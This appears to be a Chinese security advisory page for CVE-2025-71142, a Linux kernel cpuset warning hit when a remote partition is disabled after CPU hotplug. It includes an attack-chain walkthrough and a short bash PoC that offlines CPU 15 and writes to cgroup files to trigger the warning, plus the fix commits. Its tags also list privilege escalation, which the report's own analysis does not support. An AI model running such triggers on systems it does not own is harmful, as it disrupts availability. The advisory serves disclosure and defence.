IPBUF安全漏洞报告
English
CVE-2025-71142 CVSS 5.5 中危

CVE-2025-71142 Linux内核cpuset远程分区禁用警告漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71142
漏洞类型
拒绝服务/代码缺陷
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel cpuset cgroup子系统

相关标签

CVE-2025-71142Linux Kernelcpusetcgroup本地提权拒绝服务CPU热插拔内核警告MEDIUM

漏洞概述

CVE-2025-71142是Linux内核cpuset子系统中的一个中等严重性漏洞。该漏洞位于kernel/cgroup/cpuset.c文件的remote_partition_disable函数中,当在CPU热插拔场景下禁用远程分区时会触发内核警告。具体而言,当某个CPU(如CPU 15)被offline后,subpartitions_cpus会被清空,导致子分区需要与top_cpuset共享CPU资源。在这种状态下,用户尝试禁用远程分区时会触发警告,表明effective_xcpus不是subpartitions_cpus的子集。该漏洞虽然不会直接导致系统崩溃或数据泄露,但会产生内核警告,影响系统可用性和日志清洁度。攻击者需要具有低权限本地访问能力,通过操作cgroup文件系统触发此问题。

技术细节

该漏洞源于Linux内核cpuset子系统中分区状态管理的不完善处理。在正常情况下,cpuset允许创建CPU分区以实现资源隔离。然而,当发生CPU热插拔事件(如将CPU 15设置为offline)时,系统会清空subpartitions_cpus字段,因为没有可用的CPU分配给顶级cpuset。这导致所有分区必须与top_cpuset共享CPU资源。

问题出现在remote_partition_disable函数中(第1651行附近),该函数在处理分区禁用操作时,没有正确处理subpartitions_cpus为空的情况。当用户执行`echo member > cpuset.cpus.partition`命令禁用分区时,代码会检查effective_xcpus是否为subpartitions_cpus的子集,但由于subpartitions_cpus已被清空,这个检查会失败并触发内核警告。

修复方案包括两个方面:1)修改警告逻辑,仅在subpartitions_cpus非空且effective_xcpus确实不是其子集时才发出警告;2)在CPU热插拔过程中增加分区状态检查,当subpartitions_cpus为空时主动使分区失效,通知用户分区已变为无效状态(CPU与top_cpuset共享)。

攻击链分析

STEP 1
步骤1
攻击者创建cgroup目录结构,在父cgroup中启用cpuset子系统控制
STEP 2
步骤2
配置父cgroup的cpuset.cpus.exclusive为0-14范围,限制可用CPU
STEP 3
步骤3
在父cgroup下创建子cgroup,配置cpuset.cpus.partition为root状态,建立远程分区
STEP 4
步骤4
通过/sys/devices/system/cpu/cpu15/online将CPU 15设置为offline状态,触发subpartitions_cpus清空逻辑
STEP 5
步骤5
尝试将子cgroup的cpuset.cpus.partition设置为member,禁用远程分区
STEP 6
步骤6
触发内核警告:effective_xcpus不是subpartitions_cpus的子集,导致拒绝服务(可用性影响)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-71142 PoC - Trigger warning when disabling remote partition # Tested on 16-CPU machine set -e cd /sys/fs/cgroup/ # Setup cgroup hierarchy for cpuset mkdir -p A1 echo +cpuset > A1/cgroup.subtree_control # Configure exclusive CPUs for parent cgroup echo "0-14" > A1/cpuset.cpus.exclusive # Create child cgroup and configure partition mkdir -p A1/A2 echo "0-14" > A1/A2/cpuset.cpus.exclusive echo "root" > A1/A2/cpuset.cpus.partition # Offline CPU 15 - this clears subpartitions_cpus echo 0 > /sys/devices/system/cpu/cpu15/online # Disable remote partition - triggers WARNING echo member > A1/A2/cpuset.cpus.partition # Check dmesg for warning: # WARNING: kernel/cgroup/cpuset.c:1651 at remote_partition_disable+0xf7/0x110

影响范围

Linux Kernel (具体版本需查看git commit: 5d8b9d38a7676be7bb5e7d57f92156a98dab39fb 和 aa7d3a56a20f07978d9f401e13637a6479b13bd0)
Linux Kernel cpuset cgroup subsystem < 修复版本

防御指南

临时缓解措施
目前没有已知的临时缓解措施可以完全避免此问题。建议通过内核升级到包含修复补丁的版本(commit: 5d8b9d38a7676be7bb5e7d57f92156a98dab39fb 或 aa7d3a56a20f07978d9f401e13637a6479b13bd0)来解决问题。在升级前,可通过监控dmesg输出来检测警告事件,并确保系统日志有足够的存储空间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表